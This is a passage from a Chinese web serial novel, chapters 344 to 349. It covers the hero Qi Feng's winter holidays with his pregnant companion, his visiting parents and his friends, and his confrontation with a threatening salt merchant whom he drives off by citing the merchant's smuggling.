漕帮风波平息后,府城迎来了入冬后的第一场大雪。
鹅毛般的雪花纷纷扬扬落下,一夜之间,便将整座城市染成了银装素裹的世界。
屋檐下挂起了冰凌,街道上积了厚厚的雪,孩子们欢快地在雪地里奔跑嬉戏,给这肃杀的冬季增添了几分鲜活的气息。
第三百四十四章 各方各面
锦绣阁内,炭火烧得旺旺的,驱散了严寒。
年关的生意依旧忙碌,但经历了漕帮之事后,再无人敢来捣乱,一切井然有序。
齐枫难得清闲,坐在后院书房的窗边,看着窗外漫天飞舞的雪花,手中拿着一卷古籍,却并未细看,眼神有些悠远。
京城特召的日期日益临近,府城的平静日子恐怕不多了。
北境战事胶着,朝廷暗流汹涌,京城更是龙潭虎穴,此番入京,注定不会太平。
轻微的脚步声在廊下响起,很轻,带着一丝小心翼翼。
齐枫收回目光,看向门口。
只见楚清秋端着一个红漆木盘,上面放着一个冒着热气的白瓷盅,缓缓走了进来。
她穿着一身月白色的软缎夹棉长裙,外罩一件同色的狐裘斗篷,领口一圈雪白的狐**衬得她清丽的脸庞愈发小巧精致。
哪怕真实容貌被掩盖,可还是有种难以言喻的美。
因为怀孕近五个月,她的腹部已经明显隆起,行动间带着孕妇特有的缓慢和谨慎。
"下雪了,天冷,喝点参汤暖暖身子。"楚清秋将木盘放在书桌上,声音依旧清冷,但比起从前,多了几分不易察觉的柔和。
她解开斗篷,露出隆起的小腹,动作略显笨拙地想要将参汤端给齐枫。
齐枫起身,很自然地接过她手中的活,扶着她在一旁的软榻上坐下:"这些事让下人做就好,你身子重,不必亲自操劳。"
楚清秋微微摇头:"无妨,走动一下也好。"
齐枫打开瓷盅的盖子,一股浓郁的人参香气混合着红枣的甜香扑面而来。
他舀了一勺,轻轻吹了吹,递到楚清秋唇边:"你喝。"
楚清秋微微一怔,看着齐枫那不容拒绝的眼神,脸颊微微泛红,迟疑了一下,还是张口喝了下去。
温热的汤汁滑入喉中,暖意瞬间蔓延至四肢百骸。
齐枫就这么一勺一勺,耐心地喂她喝着参汤。
书房内寂静无声,只有炭火偶尔发出的噼啪声,以及汤匙碰撞瓷盅的细微声响。
气氛温馨宁静。
喝完参汤,齐枫拿出丝帕,轻轻替她拭去嘴角的残渍。
他的动作很轻柔,指尖偶尔划过她细腻的脸颊,带来一阵微痒的战栗。
楚清秋垂着眼帘,长长的睫毛如同蝶翼般轻轻颤动,心跳不由自主地加快。
自从怀孕后,齐枫对她的照顾可谓无微不至,虽然两人之间的话语依旧不多,但这种沉默的关怀,却比任何甜言蜜语都更能触动她冰封的心。
"孩子……今日可还安分?"齐枫放下丝帕,目光落在她隆起的小腹上,语气中带着一丝自己都未察觉的期待。
楚清秋下意识地用手护住小腹,脸上露出一抹极淡的、属于母性的光辉:"嗯,还好。只是偶尔……会动一下。"
"动了?"齐枫眼睛微亮,伸出手,似乎想触摸一下,但又有些犹豫。
这个掌控强大力量、面对宗师都面不改色的男人,此刻竟显得有些笨拙和紧张。
楚清秋看着他这副模样,心中最柔软的地方被触动了一下。
她主动拉起他宽厚温暖的手掌,轻轻放在自己的小腹上。
隔着一层衣料,齐枫能清晰地感受到那隆起的弧度,以及其中孕育的生命力。
就在这时,掌心下似乎被什么东西轻轻顶了一下!
齐枫身体微微一僵,眼中瞬间爆发出惊人的光彩!他难以置信地看向楚清秋。
楚清秋对他点了点头,唇角勾起一抹清浅却真实的笑容:"他……好像在跟你打招呼。"
一种难以言喻、新奇而澎湃的情感涌上齐枫的心头。
这是他的血脉,是他与这个清冷如秋月、背负着国仇家恨的女人共同孕育的生命。
即便两世为人,他也从未有过这种感觉。
这种感觉,比他掌控力量、击败强敌所带来的成就感,更加深刻,更加触动灵魂。
他小心翼翼地用手掌感受着那细微的胎动,仿佛在触碰世间最珍贵的宝物。
过了好一会儿,胎动渐渐平
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息,他才缓缓收回手,目光复杂地看着楚清秋。
"辛苦你了。"他低声道。
他知道,怀孕对于楚清秋来说,负担更重。
楚清秋摇了摇头,轻抚着小腹,眼神坚定:"为了他,一切都值得。"
两人一时无话,静静地享受着这难得的温情时刻。
窗外,雪落无声,窗内,温暖如春。
"北境……有消息了吗?"良久,楚清秋轻声问道,眼中带着一丝不易察觉的担忧。
虽然霍天都成功夺取三城,但面对大景朝廷的反扑,形势依然严峻。
齐枫点了点头:"霍将军用兵老辣,依托三城险要,暂时挡住了朝廷大军的进攻。但朝廷后续援军不断,物资消耗巨大,长期僵持下去,恐非良策。"
楚清秋的眉头蹙了起来。
复国之路,何其艰难。
"不必过于忧心。"齐枫安慰道,"霍将军并非孤军奋战。北漠那边,似乎也有些异动,牵制了部分景军兵力。而且……我在京城,也会见机行事。"
他这话说得含蓄,但楚清秋明白他的意思。
齐枫入京,必然会搅动风云,吸引朝廷的注意力,从而间接缓解北境的压力。
"京城……很危险。"楚清秋抬起眼眸,看向齐枫,清冷的眸子里带着清晰的担忧。
"林天傲之事,穆人清之探,都说明已经有人盯上你了。京城乃是龙潭虎穴,权贵遍地,规矩森严,远比府城复杂……"
"我知道。"齐枫打断了她的话,语气平静却充满自信。
"但有些地方,终究是要去的。有些事,也终究是要面对的。"
他站起身,走到窗边,看着外面银装素裹的世界,负手而立:"放心吧,我自有分寸。这天下,能留得住我齐枫的地方,不多。"
他的背影挺拔如松,语气平淡,却带着一种睥睨天下的傲然与自信。
楚清秋看着他的背影,心中的担忧莫名地消散了许多。
是啊,这个男人,从来都不能以常理度之。
第三百四十五章 小年
府城这片池塘,已经容不下他这条真龙了。京城,才是他真正的舞台。
她轻轻抚摸着小腹,心中默念:孩子,你的父亲,是一个顶天立地的英雄。无论前路如何,我们都会陪着他一起走下去。
雪,依旧在下。
但这个冬天,因为有了彼此的陪伴和腹中的新生命,似乎也不再那么寒冷了。
腊月二十三,小年。
府城的年味已经浓得化不开了。
家家户户洒扫庭院,祭拜灶神,贴窗花,挂灯笼,空气中弥漫着糖瓜和腊肉的香气,街面上人头攒动,采买年货的人们脸上都洋溢着喜庆的笑容。
锦绣阁也在这一天提前歇业,给伙计们放了年假,并发放了丰厚的红包和年货。
阁内张灯结彩,准备迎接一年中最重要的节日。
而齐枫,则在自己的府邸,本来是袁家别院,被赵明德作为"罚没"产业,"奖励"给了齐枫,举办了一场小范围的家宴。
受邀的,都是他最核心的圈内人和身边亲近的女子。
华灯初上,府邸内温暖如春。
宽敞的花厅里,地龙烧得暖暖的,四周摆放着盛开的腊梅和水仙,清香袭人。
中间一张巨大的圆桌上,摆满了琳琅满目的珍馐美馔,侍女们悄无声息地穿梭其间,添酒布菜。
齐枫坐在主位,他今日穿着一身暗紫色的锦袍,少了几分平日的淡然,多了几分贵气与威严。
在他的左手边,依次坐着南宫玥、柳若雪和楚清秋。
南宫玥穿着一身正红色的金线牡丹纹宫装长裙,云鬓高耸,珠翠环绕,明艳照人,如同盛放的牡丹,雍容华贵。
她举止得体,谈笑风生,俨然是女主人的姿态,照顾着席间的气氛。
柳若雪则是一身湖蓝色的流云暗纹襦裙,外罩一件雪白的狐裘,清丽脱俗,如同空谷幽兰。
她话不多,但偶尔与齐枫眼神交汇,那流转的眼波中蕴含着无限的情意与默契。
楚清秋因有孕在身,穿着宽松舒适的月白色绣缠枝莲纹的软缎长袍,脂粉未施,清丽的面容在灯光下显得格外柔和。
她大多时间只是安静地坐着,听着众人说话,偶尔齐枫会低声询问她是否需要什么,她便会微微摇头,唇角带着一丝极淡的、满足的笑意。
这三女风格迥异,却同样绝色,坐在齐枫身边,竟有种奇异的和谐感,仿佛她们本就该如此。
在齐枫的右手边,则坐着周子陵、徐远、陈玉堂三人。
他们算是齐枫在府城最早的兄弟和伙伴,如今也都随着齐枫水涨船高,在府城地位不凡。
周子陵依旧是那副大大咧咧的样子,正和徐远拼酒,陈玉堂则显得沉稳许多,不时与齐枫低声交谈几句。
除此之外,赵明兰也吵着要来,赵明德拗不过她,也只能由着她。
此刻她正坐在南宫玥下首,穿着一身鹅黄色的骑装改良裙,显得娇俏活泼,一双大眼睛不时瞟向齐枫,带着毫不掩饰的爱慕,偶尔还会跟南宫玥和柳若雪斗几句嘴,给宴会增添了几分热闹。
"来来来!齐兄!我敬你一杯!"周子陵满脸通红,端着酒杯站起来,大声道,"要不是你,我周子陵哪能有今天的风光!**了,你随意!"说完,一仰头就把杯中酒喝了个底朝天。
齐枫笑了笑,也端起酒杯示意了一下,抿了一口。
他对兄弟向来宽厚。
徐远也举杯道:"齐兄,预祝你年**京,鹏程**,大展宏图!"
陈玉堂附和道:"是啊,齐兄,京城虽然水深,但以你的本事,定能搅动风云!我们就在这府城,等着你的好消息!"
"多谢诸位兄弟。"齐枫举杯回敬,"府城是我们的根基,日后还需诸位多多费心。"
众人纷纷举杯,气氛热烈。
赵明兰见状,也赶紧端起自己的果子酒,凑到齐枫面前,娇声道:"齐枫,我也敬你!祝你……祝你一路顺风,早点回来!"
她本想说什么,但在南宫玥和柳若雪似笑非笑的目光注视下,临时改了口
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,脸蛋红扑扑的,也不知是酒意还是羞意。
齐枫对她笑了笑,也喝了一口。
因为楚清秋怀有身孕,南宫玥作为实际上的女主人,此刻端起酒杯,落落大方地对着周子陵等人道:"诸位兄弟,这一年来,锦绣阁多蒙诸位鼎力相助,玥儿在此敬大家一杯,聊表谢意。祝愿我们来年,合作更上一层楼!"
"南宫大家客气了!"
"应该的应该的!"
众人纷纷举杯回应。
南宫玥不仅美貌,能力更是出众,将锦绣阁打理得蒸蒸日上,早已赢得了众人的尊重。
柳若雪也轻声细语地说了几句祝福的话,她声音悦耳,如同珠落玉盘,让人如沐春风。
楚清秋虽未饮酒,但也以茶代酒,微微颔首示意。
看着身边这群人,看着这热闹温馨的场面,齐枫心中也涌起一丝暖流。
从孤身一人来到这个世界,到如今拥有自己的势力,身边**了这么多愿意追随他、关心他的人,这种感觉,确实不错。
这就是他在这个世界的羁绊,也是他力量的源泉之一。
酒过三巡,菜过五味。
周子陵和徐远已经开始划拳行令,陈玉堂在一旁笑着观战。
赵明兰凑在南宫玥和柳若雪身边,不知在嘀咕什么,时而发出银铃般的笑声。
齐枫则低声与楚清秋说着话,询问她身体可有不适,需不需要先回去休息。
楚清秋摇了摇头,看着厅内热闹的景象,轻声道:"很久……没有过这样的年了。"
她的话语中,带着一丝不易察觉的感慨和落寞。
**前,她身上有担子,**之后,她东躲西藏,背负血海深仇,何曾有过如此轻松温馨的时刻?
齐枫握住她桌下微凉的手,低声道:"以后每年,都会如此。"
他的手掌温暖,楚清秋感受着他掌心的温度,看着他那坚定的侧脸,心中那片冰封的角落,似乎又融化了一分。
她轻轻回握了一下他的手,点了点头。
第三百四十六章 家里来人了
就在这时,府邸外传来震耳欲聋的爆竹声和绚烂的烟花光芒,将夜空映照得五彩斑斓。
小年夜的庆祝活动达到了高潮。
众人都被吸引,纷纷走到窗边观看。
烟花在夜空中绽放,如同盛开的花朵,璀璨夺目,又转瞬即逝。
南宫玥站在齐枫身边,仰头看着烟花,轻声道:"真美。"
齐枫转过头,看着陪伴在自己身边的这些人,嘴角挂起来一抹淡淡的笑容。
……
小年夜的喧嚣过后,府城的年节气氛愈发浓厚。
腊月二十八这天,齐枫正在府中与南宫玥核对年礼清单,忽然有下人来报,说是青田县来人了。
齐枫心中一动,立刻放下手中事务,快步走向前厅。
南宫玥也放下账本,整理了一下仪容,紧随其后。
刚到前厅,就看到风尘仆仆的齐震天和锦娘,正在管家的陪同下喝茶。
齐震天依旧是那副不苟言笑的模样,但眉宇间少了几分在青田县时的威严,多了几分舟车劳顿的疲惫。
锦娘则是一脸关切,不住地打量着厅内的陈设,眼中既有对儿子独自在外的担忧,也有看到儿子如今气派的欣慰。
对于她而言,齐枫虽然不是她的亲生儿子,但她膝下无子,也早就已经把齐枫当成亲生的了。
"爹,娘!你们怎么来了?"齐枫连忙上前,躬身行礼。
虽然如今他已是名动江南的人物,但在父母面前,依旧是为人子的本分。
南宫玥也盈盈一礼:"玥儿见过伯父、伯母。"
齐震天看着气度沉稳、愈发挺拔的儿子,眼中闪过一丝不易察觉的骄傲,但面上还是板着脸,哼了一声:"怎么?老子不能来看看你?听说你在府城混得风生水起,连京城林家的公子都让你给赶回去了?翅膀硬了是吧?"
锦娘嗔怪地拍了丈夫一下:"大过年的,说的什么话!枫儿,别听你爹的,他就是嘴硬!我们在青田县听说你在府城的事情,又是春闱榜首,又是破案除邪的,心里又是高兴又是担心,这不,趁着年节,赶紧过来看看你!"
她拉着齐枫的手,上下打量着,"瘦了,也精神了!
齐枫心中暖流涌动,笑道:"让爹娘担心了,儿子一切都好。"
这时,得到消息的楚清秋和柳若雪也来到了前厅。
楚清秋因为身子重,走得慢些,柳若雪在一旁小心搀扶着她。
看到楚清秋明显隆起的小腹,齐震天和锦娘都愣住了。
锦娘先是惊讶,随即眼中爆发出巨大的惊喜,她快步上前,也顾不得什么礼节了,拉着楚清秋的手,声音都有些颤抖:"青禾……你这……这是……"
楚清秋面对锦娘那炽热的目光,有些羞涩,微微低下头,轻声道:"夫人……已经……快五个月了。"
"哎哟!我的老天爷!还叫什么夫人啊,也叫娘!"锦娘喜极而泣,连忙扶着楚清秋坐下,"快坐下快坐下!你这孩子,这么大的喜事,怎么也不早点告诉家里!"
她埋怨地看了齐枫一眼。
齐震天虽然依旧板着脸,但紧抿的嘴角也微微松动,眼中闪过一丝复杂难明的神色。
他看了看楚清秋,又看了看齐枫,最终只是沉声道:"既有身孕,便要好生将养。我齐家的血脉,不容有失。"
这话虽硬,但其中的关切之意却很明显。
楚清秋心中微暖,点了点头:"多谢伯父关心,清秋省得。"
柳若雪也上前见礼,她气质清冷脱俗,举止优雅,也给齐震天夫妇留下了不错的印象。
一时间,前厅内充满了团聚的喜悦和温情。
锦娘拉着楚清秋问长问短,叮嘱着各种孕期注意事项。
齐震天则开始考较齐枫的学问和近期所为,虽然语气严厉,但眼中的满意之色却越来越浓。
南宫玥和柳若雪在一旁陪着说话,端茶倒水,气氛十分融洽。
当晚,齐枫设家宴为父母接风洗尘。
周子陵、徐远、陈玉堂等人听闻齐枫父母到来,也纷纷前来拜见。
他们都是府城有头有脸的年轻才俊,对齐震天夫妇执礼甚恭,让二老
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脸上倍感有光。
席间,齐震天听着众人谈论齐枫在府城的种种事迹,从文压群雄到武破邪教,从智斗纨绔到结交权贵,虽然面上不显,但心中却是波澜起伏。
他没想到,自己这个曾经看似不成器的儿子,离家短短大半年,竟然做出了如此多惊天动地的事情,闯下了偌大的名头!
酒至半酣,齐震天将齐枫叫到一旁僻静处,神色严肃地问道:"枫儿,你老实告诉为父,青禾她腹中胎儿,当真是我齐家血脉?"
齐枫忍不住乐了:"爹,你说什么呢?不是我的难道还是别人的?"
齐震天深深看了儿子一眼,他久经世故,如何看不出楚清秋气质不凡,绝非普通女子。
他叹了口气,拍了拍齐枫的肩膀:"你长大了,有自己的主意,为父不多问。只是……京城水深,你年后便要入京,凡事需三思而后行,切莫锋芒太露。齐家……终究根基浅薄,帮不了你太多。"
这话语中,带着一丝无奈,也带着深深的关切。
齐枫心中一暖,郑重道:"爹,您放心,孩儿心中有数。齐家……不会永远是青田小族。"
他的话语平静,却带着一种不容置疑的自信。
齐震天看着儿子那深邃的眼眸,仿佛看到了潜龙在渊,终将一飞冲天。
他不再多言,只是重重地点了点头。
接下来的几天,齐府变得异常热闹。
锦娘的到来,让府中多了许多烟火气。
她亲自指挥下人准备年货,张贴春联,祭祀祖先,将偌大的府邸打理得井井有条,充满了年节的喜庆。
她还特意请了府城最有经验的稳婆和大夫来为楚清秋诊脉,确认胎儿安稳,这才彻底放下心来。
虽然齐枫医术无双,有任何动静他都会第一时间知道,但老人总不放心。
对楚清秋的照顾更是无微不至,各种补品、安胎药膳源源不断地送到她房中,让楚清秋这个自幼失去母亲、又背负国仇家恨的女子,第一次感受到了来自长辈纯粹的关爱,冰冷的心也渐渐融化。
第三百四十七章 过年
齐震天则每日与齐枫谈论时局,考较学问,或者由周子陵等人陪着,在府城各处走走看看,了解风土人情。
看到儿子在府城如此受人敬重,产业也打理得蒸蒸日上,他心中那点因为儿子“不走正道”而产生的芥蒂,也早已烟消云散,取而代之的是满满的自豪。
这个年,因为父母的到来,变得格外不同。
齐枫穿梭于亲情、爱情与事业之间,享受着这难得的温馨和平静。
这样的日子弥足珍贵,年后踏入京城,等待他的将是更加汹涌的波涛。
腊月三十,除夕。
府城的年味达到了顶峰。
从清晨开始,噼里啪啦的爆竹声就此起彼伏,空气中弥漫着硝烟和食物的香气。
家家户户门上都贴上了崭新的春联和福字,挂起了大红灯笼,孩子们穿着新衣,在街上追逐嬉戏,一派祥和喜庆的景象。
齐府更是张灯结彩,热闹非凡。
下人们早早起来打扫庭院,准备丰盛的年夜饭。
锦娘亲自下厨,做了几道齐枫小时候爱吃的家乡菜。
南宫玥和柳若雪也挽起袖子,在一旁帮忙,虽然手法生疏,但那份心意却让人感动。
楚清秋因身子不便,被锦娘强行按在暖阁里休息,只能看着众人忙碌,嘴角带着温柔的笑意。
齐震天和齐枫父子则在前厅书写春联。
齐震天笔力雄健,写的是“忠厚传家久,诗书继世长”,透着传统士大夫的家风期望。
而齐枫则笔走龙蛇,写下“海纳百川有容乃大,壁立千仞无欲则刚”,字里行间透着一股睥睨天下的豪气与胸襟,让齐震天看了,又是点头,又是暗自心惊。
傍晚时分,丰盛的年夜饭摆上了桌。
鸡鸭鱼肉,山珍海味,琳琅满目,香气扑鼻。
齐震天和锦娘坐在主位,齐枫坐在下手,旁边依次是楚清秋、南宫玥、柳若雪。
周子陵、徐远、陈玉堂作为齐枫的兄弟,也被邀请来一起守岁,坐在另一侧。
赵明兰也吵着要来,赵明德无奈,只得派人将她送来,此刻她正挨着南宫玥坐下,叽叽喳喳说个不停。
众人举杯,共贺新春。
齐震天作为长辈,说了几句祝福和勉励的话,尤其叮嘱齐枫年**京要谨慎行事。
齐枫一一应下。
席间气氛热烈,周子陵和徐远又开始拼酒划拳,引得众人阵阵哄笑。
赵明兰活泼好动,不时给齐枫夹菜,又跟南宫玥和柳若雪斗嘴,像个开心果。
锦娘不停地给楚清秋夹菜,叮嘱她多吃点,对南宫玥和柳若雪也是关爱有加,俨然已将她们都看作了自家人。
楚清秋看着这热闹温馨的场面,感受着腹中胎儿的轻微动静,再想到自己那破碎的家国和肩负的重任,心中百感交集。
有温暖,有酸楚,也有了一丝前所未有的坚定。
为了守护眼前的这份温情,为了给腹中孩子一个安稳的未来,那条复国的荆棘之路,她必须走下去。
齐枫似乎察觉到了她情绪的细微变化,在桌下轻轻握了握她的手,投来一个安抚的眼神。
楚清秋心中一暖,回以一个淡淡的笑容。
南宫玥和柳若雪将这一切看在眼里,心中虽有淡淡的酸涩,但更多的是一种释然和祝福。
她们都知道楚清秋身份特殊,背负太多,能得齐枫如此真心相待,也是一桩幸事。
而且,齐枫对她们也并未薄待,无论是感情还是事业上,都给予了足够的尊重和支持。
这顿年夜饭,吃得是其乐融融,欢声笑语不断。
饭后,众人移步暖阁守岁。暖阁里炭火烧得旺旺的,桌上摆满了瓜果点心、蜜饯糖食。
大家围坐在一起,喝茶聊天,玩着投壶、双陆等游戏。
锦娘拿出了早就准备好的红包,给在场的每个晚辈都发了一个,连楚清秋、南宫玥和柳若雪都有份,弄得三女都有些不好意思。
齐震天虽然没说什么,但也默认了妻子的行为。
子时将至,府城各处响起了震耳欲聋的爆竹声,烟花在夜空中竞相绽放,将黑夜映照得如同白昼。
“走,我们也
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去放爆竹,迎财神!”周子陵兴奋地喊道。
众人来到庭院中。下人们早已准备好了烟花爆竹。
周子陵和徐远抢着去点爆竹,赵明兰也捂着耳朵,既害怕又兴奋地在一旁跳跃。
齐枫拿过一支线香,点燃了一个巨大的“万花筒”。
只听“咻”的一声,一道火光冲天而起,在夜空中轰然炸开,化作万千绚烂的流星,洒下漫天华彩。
“真美啊!”南宫玥仰头赞叹。
“愿年年有今日,岁岁有今朝。”柳若雪轻声许愿。
楚清秋抚着小腹,在心中默念:“愿山河无恙,家国永安,亲人……常伴。”
齐枫站在众人中间,看着身边一张张洋溢着幸福和希望的笑脸,看着夜空中璀璨的烟火,也笑了。
这就是他要守护的东西。
爆竹声中一岁除。
旧的一年,随着硝烟散去,新的一年,带着希望和挑战,悄然来临。
守岁直到后半夜,众人才各自回房休息。
齐枫亲自送父母回房安歇,又去看了看已经睡下的楚清秋,替她掖好被角,这才回到自己的房间。
躺在床上,听着窗外隐约传来的更鼓声,齐枫毫无睡意。
他的思绪飘向了北方,飘向了那座即将踏足的雄伟京城。
……
新年在走亲访友和各种宴饮中飞快过去,转眼便到了正月十五,元宵佳节。
元宵节是年节的最后高潮,也是府城最为热闹的节日之一。
这一天,家家户户吃元宵,赏花灯,猜灯谜,还有盛大的舞龙舞狮和灯会。
夜幕降临,华灯初上。
府城的主要街道上,早已是人山人海,摩肩接踵。
各式各样的花灯争奇斗艳,有栩栩如生的生肖灯,有精巧别致的宫灯,有气势恢宏的龙灯,将整座城市点缀得如同琉璃世界,火树银花。
齐枫本想在家中陪伴父母和楚清秋安静过节,但耐不住赵明兰和周子陵等人的怂恿,加上齐震天和锦娘也想感受一下府城元宵的气氛,便决定一家人一起出门赏灯。
第三百四十八章 元宵
为了安全起见,齐枫让富贵带着几名好手暗中护卫。
楚清秋因为身子重,本不想出门,但在锦娘的劝说和齐枫的陪伴下,也同意坐马车出去看看热闹。
一行人乘坐马车来到最繁华的朱雀大街。
只见街上人头攒动,灯火辉煌,各种叫卖声、欢笑声、丝竹声不绝于耳,热闹非凡。
“哇!好漂亮啊!”赵明兰第一个跳下马车,像只快乐的蝴蝶,瞬间就融入了人流中,吓得她的丫鬟连忙跟上。
周子陵和徐远也兴奋地东张西望,陈玉堂则显得沉稳些,陪在齐震天夫妇身边,不时介绍着府城的风物。
齐枫小心地搀扶着楚清秋,南宫玥和柳若雪一左一右跟在身旁。
楚清秋看着眼前这流光溢彩、太平盛世的景象,再想到北境可能正在发生的战火,心中不禁生出几分感慨。
若天下永远如此太平,该有多好。
“那边有猜灯谜的!我们去看看吧!”南宫玥指着不远处一个被围得水泄不通的灯棚说道。
那灯棚装饰得格外华丽,挂满了各式灯谜,是府城学宫举办的,奖品颇为丰厚。
众人挤了过去。
只见灯棚前,不少文人学子正在冥思苦想,时而有人猜中,引来一片喝彩。
“一口吃掉牛尾巴,打一字?”赵明兰念着一个灯谜,歪着头想了半天,“这是什么字啊?”
“是告字。”齐枫微微一笑,解释道,“牛尾巴被一口吃掉,不就是告吗?”
“哦!原来如此!”赵明兰恍然大悟,拍手笑道。
一场元宵灯会就这么如火如荼的进行着。
时光流逝。
元宵灯会的热闹过后,年节的气氛渐渐淡去,府城的生活恢复了往日的节奏。
齐枫也开始着手安排入京前的各项事宜,同时陪伴父母,照顾有孕的楚清秋,日子过得忙碌而充实。
这日,齐枫正在锦绣阁与南宫玥商议一批发往京城的贵重丝绸的包装和运输细节,忽然前厅传来一阵喧哗之声,似乎有人在争吵。
“怎么回事?”南宫玥蹙眉问道,示意身边的丫鬟前去查看。
不一会儿,丫鬟回来禀报:“东家,公子,是……是江淮盐商总会的副会长,沈万金沈老爷,带着一群人来了,说是要见公子,语气……颇为不善。”
“沈万金?”南宫玥眼中闪过一丝讶异,“我们与盐商向来井水不犯河水,他来找齐郎作甚?”
齐枫目光微闪,放下手中的样品册,淡淡道:“来者不善,善者不来。走吧,去看看这位沈副会长,给我们带来了什么惊喜。”
两人来到前厅,只见厅内站着七八个衣着光鲜、气势汹汹的男子。
为首一人,约莫五十岁年纪,身材肥胖,穿着团花锦缎袍子,手指上戴着好几个硕大的金戒指,一脸横肉,眼神倨傲,正是江淮盐商总会的副会长沈万金。
他身后跟着的,也都是些盐商中有头有脸的人物,还有几个眼神精悍、太阳穴高鼓的护卫。
周子陵和徐远闻讯也赶了过来,正脸色难看地与他们对峙。
见到齐枫出来,沈万金用他那肥短的手指捋了捋油光锃亮的胡须,皮笑肉不笑地道:“这位就是名动江南的齐公子吧?果然是一表人才,年轻有为啊!”
齐枫神色平静,走到主位坐下,示意南宫玥也坐下,这才抬眼看向沈万金,淡然道:“沈副会长大驾光临,不知有何指教?”
沈万金见齐枫态度淡然,心中有些不悦,他习惯了别人对他这位盐商大佬的巴结奉承,齐枫这态度让他觉得受到了轻视。
他干笑两声,道:“指教不敢当。沈某今日前来,是有一桩生意,想与齐公子谈谈。”
“哦?什么生意?”齐枫不动声色。
“听说齐公子的锦绣阁,生意做得极大,尤其是那霓裳锦,更是有价无市,连京城里的贵人们都指名要货。”沈万金眯着小眼睛,语气带着一丝贪婪。
“沈某不才,在江淮两地还有些人脉和渠道。想与齐公子合
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作,由我们盐商总会来独家代理这霓裳锦在江北的销售,价格嘛……好商量!”
他这话一出,周子陵和徐远顿时怒了!
独家代理江北销售?这分明是想垄断“霓裳锦”的渠道,掐住锦绣阁的命脉!
谁不知道盐商财大气粗,掌控着北方的商业网络,若是让他们代理,以后定价权、销售权恐怕都得被他们捏在手里,锦绣阁就只能沦为他们的生产作坊了!
“沈万金!你打的好算盘!”周子陵性子急,当场就喝骂道,“想空手套白狼,独占霓裳锦?做梦!”
沈万金脸色一沉,他身后的一个盐商立刻跳出来指着周子陵骂道:“放肆!哪里来的小子,敢对沈会长无礼!”
徐远拉住冲动的周子陵,冷声道:“沈副会长,霓裳锦乃我锦绣阁独家秘技,不对外合作。您的好意,我们心领了。”
沈万金冷哼一声,不再看周子陵和徐远,目光逼视齐枫:“齐公子,这就是你的态度?你可要想清楚了!我们盐商总会掌控着江北盐、铁、布匹等诸多行当,若是我们不愿意,你们锦绣阁的货,恐怕连江北的地界都进不去!到时候,损失的可是你们!”
这话已经是赤裸裸的威胁了!利用盐商掌控的运输和销售网络,来卡锦绣阁的脖子!
南宫玥俏脸含霜,正要开口,齐枫却轻轻拍了拍她的手,示意她稍安勿躁。
齐枫看着气焰嚣张的沈万金,忽然笑了,那笑容很淡,却带着一种让人心底发寒的意味:“沈副会长,你这是在威胁我?”
“威胁?谈不上。”沈万金得意地晃着脑袋,“只是陈述一个事实而已。齐公子是聪明人,应该懂得权衡利弊。与我们合作,大家都有钱赚;若是敬酒不吃吃罚酒……呵呵,那就别怪沈某人不讲情面了!”
他自以为拿捏住了齐枫的软肋,姿态摆得极高。
盐商势力盘根错节,连官府都要让他们三分,他就不信齐枫一个毫无根基的暴发户敢跟他们硬扛!
第三百四十九章 盐商
可齐枫接下来的话,却让他脸上的笑容瞬间僵住。
“权衡利弊?”齐枫缓缓站起身,目光如同两道冰冷的箭矢,直刺沈万金,“就凭你们这些靠着官盐专营、囤积居奇、盘剥百姓起家的蠹虫,也配跟我谈利弊?也配威胁我齐枫?”
他的声音不高,却带着一股无形的、令人心悸的威压,瞬间笼罩了整个前厅!
那几个原本眼神精悍的护卫,被这气势一压,竟不由自主地后退了半步,脸上露出骇然之色!
沈万金更是被骂得脸色铁青,浑身肥肉都在颤抖,指着齐枫:“你……你敢骂我?!”
“骂你?”齐枫嗤笑一声,“我只是在陈述事实。沈万金,你当真以为你们盐商总会可以一手遮天?你当真以为,你们那些见不得光的勾当,没人知道?”
他一步步走向沈万金,每踏前一步,气势便强盛一分:“需要我提醒你吗?去年江淮盐税短缺三十万两,真的是因为盐场减产?需要我提醒你吗?你们暗中将官盐走私给北漠,换取皮**马匹,这笔账,朝廷若是追究下来,你沈家有几个脑袋够砍?!”
齐枫每说一句,沈万金的脸色就白一分,到最后已是面无人色,冷汗如同瀑布般从额头滚落!他惊恐地看着齐枫,如同看着一个魔鬼!
这些事,都是盐商总会内部最高级别的机密!齐枫怎么可能知道得如此清楚?!连具体数额、走私渠道都一清二楚?!
“你……你胡说八道!血口喷人!”沈万金色厉内荏地吼道,但颤抖的声音已经出卖了他内心的恐惧。
“是不是血口喷人,你心里清楚。”齐枫在他面前站定,居高临下地看着他,眼神冰冷,“沈万金,给我听好了。霓裳锦的事,你想都别想。另外,带着你的人,立刻滚出我的锦绣阁。若是再敢来聒噪,或者敢在背后耍什么花样……”
齐枫的声音陡然转厉,如同寒冬腊月的冰风:“我不介意将你们盐商总会那些龌龊勾当,全都抖落出来,看看是你们盐商的脖子硬,还是朝廷的刀快!”
“滚!”
最后一个字,如同惊雷炸响,带着一股强大的力量和恐怖的精神威压!
沈万金吓得浑身一哆嗦,差点瘫软在地,被他身后的护卫连忙扶住。
他再也不敢看齐枫那冰冷的眼神,如同丧家之犬般,带着一群同样面如土色的盐商,连滚爬爬地逃出了锦绣阁,狼狈不堪!
看着他们仓惶逃离的背影,周子陵和徐远只觉得胸中一口恶气尽出,畅快淋漓!
“齐兄!太解气了!你看沈万金那肥猪,吓得都快尿裤子了!”周子陵兴奋地喊道。
南宫玥也松了口气,美眸中异彩连连地看着齐枫。
她没想到,齐枫竟然掌握了盐商如此致命的把柄,三言两语就将不可一世的沈万金吓得屁滚尿流。
齐枫神色恢复平静,仿佛刚才只是赶走了几只苍蝇。
他淡淡道:“盐商贪婪,目空一切,是该有人敲打敲打了。经此一事,他们短时间内应该不敢再来自找没趣。”
他看向南宫玥:“不过,盐商势力庞大,睚眦必报,我们也要小心他们暗中使绊子。通知下去,加强各处产业的守卫,尤其是运输环节,要多加留意。”
“我明白。”南宫玥郑重点头。
沈万金在锦绣阁吃瘪的消息,如同长了翅膀,迅速传开。
盐商总会那边虽然恨得牙痒痒,但投鼠忌器,短时间内倒也不敢再明着来找麻烦。
府城似乎又恢复了往日的平静。
不管怎么样,齐枫在府城的风头太盛,终究还是引来了更多人的嫉妒和不满。
尤其是在文人士子圈中,一些自诩清高、看不惯齐枫“幸进”的所谓“清流”,开始暗中串联,准备在文采上打压齐枫的气焰,让他出个丑。
机会很快到来。
府城学宫为了迎接春日,举办了一场名为“春熙文会”的雅集,邀请了府城及周边州郡的知名文人雅士参加。<
